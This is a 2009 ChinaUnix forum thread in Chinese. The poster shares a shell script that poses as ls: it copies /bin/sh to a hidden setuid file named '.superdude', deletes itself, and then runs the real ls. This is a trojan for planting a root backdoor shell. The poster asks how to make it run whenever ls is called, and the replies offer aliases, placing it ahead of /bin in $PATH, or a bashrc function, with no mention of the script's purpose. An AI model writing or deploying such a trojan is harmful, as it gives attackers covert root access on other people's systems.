Chinaunix

标题: 建一个ls的sh文件,请问能否在执行ls命令时让该文件先执行 [打印本页]

作者: wroxman    时间: 2009-05-12 23:33
标题: 建一个ls的sh文件,请问能否在执行ls命令时让该文件先执行
实验这个:
#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}

[ 本帖最后由 wroxman 于 2009-5-12 23:36 编辑 ]
作者: goter    时间: 2009-05-13 09:05
建别名行不?
让ls对应你那个sh文件,然后在文件末尾写个ls
作者: vermouth    时间: 2009-05-13 11:50
看看你的 $PATH,放到 /bin 前面的目录里,注意权限。
作者: gyp334a    时间: 2009-05-13 11:54
建个alias就好了
作者: vermouth    时间: 2009-05-13 16:59
标题: for example
alias ls="ls;date"
作者: gamester88    时间: 2009-05-13 17:06
原帖由 vermouth 于 2009-5-13 11:50 发表
看看你的 $PATH,放到 /bin 前面的目录里,注意权限。

对,这样也可以的
作者: goter    时间: 2009-05-15 17:29
还有个办法,在~/.bashrc
里加一个ls函数
function ls{bashfile;bulitin ls;}

[ 本帖最后由 goter 于 2009-5-15 17:37 编辑 ]




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2